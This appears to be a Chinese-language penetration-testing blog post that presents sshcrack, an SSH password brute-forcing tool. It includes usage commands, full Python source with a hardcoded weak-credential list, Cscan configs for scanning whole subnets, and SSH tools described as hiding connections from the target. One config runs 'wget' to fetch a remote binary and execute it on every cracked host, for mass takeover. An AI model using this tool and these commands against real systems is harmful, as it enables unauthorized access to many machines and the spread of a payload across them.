[原創]內網SSH密碼爆破工具sshcrack(配合Cscan批量弱口令檢測)

0x000 前言html

sshcrack是一個命令行下的SSH密碼爆破工具,適用於內滲中SSH密碼檢測python

固然也可用於外網SSH密碼爆破,支持Windows/Linux,其它系統未測。Tip1git

0x001 目錄github

1.sshcrack用法shell

2.Cscan批量掃描服務器

3.鏈接SSH執行命令網絡

4.sshcrack源碼ssh

5.SSH批量上控工具

6.工具下載post

0x002 用法

指定SSH服務器密碼檢測

弱口令檢測 (-crack 用戶密碼可隨便寫,由於賬密列表已寫死)
C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root k8gege -crack
192.168.1.106 22 root toor LoginOK

單密碼驗證 (-test )
C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root toor -test
192.168.1.106 22 root toor LoginOK

 

0x003 批量SSH服務器密碼檢測

0.將Cscan.exe Cscan.ini sshcrack.exe放置同一目錄

Cscan.ini內容以下

1.爆破弱口令(當前無密碼或已獲取多個賬密)

[Cscan]
exe=sshcrack.exe
arg=$ip$ 22 "" "" -crack

2.驗證一個已知密碼(快速檢測內網其它機器是否使用同一賬密)

[Cscan]
exe=sshcrack.exe
arg=$ip$ 22 root k8gege -test

 3.Cscan掃描單個C段/B段/A段機器

cscan 192.168.1.108 (單個IP)
cscan 192.168.1.108/24 (C段)
cscan 192.168.1.108/16 (B段)
cscan 192.168.1.108/8  (A段)

4.Cscan批量IP/批量C段/批量B段掃描

新建 ip24.txt或ip16.tx或ip.txt 文件,而後輸入Cscan便可(無需其它參數)

如下Cscan.ini不指定端口,因經過K8portscan識別出來非22端口

不指定端口意味着ip.txt裏須要填寫上對應SSH端口

0x004 鏈接SSH執行命令

1.sshshell交互式鏈接

sshshell.exe 192.168.1.106 22 root toor

sshshell.exe 單文件交互式SSH鏈接工具(優勢相似putty可保持會話,缺點也相似putty保持鏈接)

2.sshcmd命令行非交互式

優勢都是執行完命令當即註銷會話(即目標機看不到網絡鏈接),內網滲透專用

3.滲透專版SSH鏈接工具GUI版

優勢都是執行完命令當即註銷會話(即目標機看不到網絡鏈接),滲透專用,內網可代理出來或外網SSH鏈接時用

固然也可用於平常VPS管理用,GUI版帶文件管理,支持上傳下載單個文件或整個目錄

 

0x005 sshcrack源碼

建議密碼寫死,方便配合Cscan批量掃描,要否則每掃一臺,sshcrack就讀取一下密碼列表,可能會影響批量效率。

如下是例子,你們可自行修改,根據自身項目添加對應密碼字典,腳本還需完善,如跑出root密碼後中止檢測root用戶或者再也不爆破。

#sshcrack 1.0
#author: k8gege
#https://www.cnblogs.com/k8gege
#https://github.com/k8gege
import paramiko
import sys
import logging

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
logging.raiseExceptions=False
def checkSSH(host,port,user,pwd):
	try:
		ssh.connect(host,port,user,pwd)
		print host+' '+port+' '+user+' '+pwd+' LoginOK'
	except:
		pass
host=sys.argv[1]
port=sys.argv[2]
user=sys.argv[3]
pwd=sys.argv[4]
type=sys.argv[5]
if type=='-test':
	checkSSH(host,port,user,pwd)
elif type=='-crack':
	checkSSH(host,port,'root','123456')
	checkSSH(host,port,'root','cisco')
	checkSSH(host,port,'root','Cisco')
	checkSSH(host,port,'admin','123456')
	checkSSH(host,port,'cisco','123456')
	checkSSH(host,port,'cisco','cisco')
	checkSSH(host,port,'Cisco','Cisco')
	checkSSH(host,port,'cisco','cisco123')
	checkSSH(host,port,'admin','admin')
	checkSSH(host,port,'root','Admin')
	checkSSH(host,port,'root','toor')
	checkSSH(host,port,'root','Admin123')
	checkSSH(host,port,'root','system')
	checkSSH(host,port,'root','system123')
	checkSSH(host,port,'root','System')
	checkSSH(host,port,'root','System123')
	checkSSH(host,port,'root','Admin123!@#')
	checkSSH(host,port,'root','root123!@#')
	checkSSH(host,port,'root','root2019')
	checkSSH(host,port,'root','root2018')
	checkSSH(host,port,'root','root2017')
	checkSSH(host,port,'root','root2016')
	checkSSH(host,port,'root','root2015')
	checkSSH(host,port,'root','root2014')
	checkSSH(host,port,'root','root2013')
	checkSSH(host,port,'root','root2012')
else:
	checkSSH(host,port,user,pwd)

0x006 Linux批量上控

經過調用sshcmd.exe可實現批量驗證SSH密碼或者批量上控

詳見: [教程]K8Cscan調用外部程序例子(Win/Linux批量上控)

ip.txt內容  格式: IP 端口 用戶 賬密

192.168.1.8 22 root k8123456
192.168.1.100 444 root admin123
10.1.11.5 22 root p@walod
172.3.4.6 22 root test

Cscan.ini內容

[Cscan]
exe=sshcmd.exe
arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"

0x007 工具下載

https://github.com/k8gege/sshshell

https://github.com/k8gege/K8tools

https://github.com/k8gege/K8CScan

 

Tip1: Python寫的程序必定跨平臺?

Python雖是跨平臺語言,但不見得Python寫的程序必定支持全部系統

支不支持主要是看寫代碼的人,好比有些依賴包僅Linux下或Win下可用

你直接調用人家的包,未作任何修改,你認爲必定是跨平臺嗎???

就算是隻用原生包寫的功能,也不能保證徹底兼容

有些功能針對於不一樣系統需作不一樣的處理

 

Tip2: SSH鏈接工具詳細說明

[原創]內網滲透專用SSH鏈接工具sshcmd/sshshell/ssh密碼破解以及Kali開啓SSH

http://www.javashuo.com/article/p-zsuzatbz-go.html

相關文章
相關標籤/搜索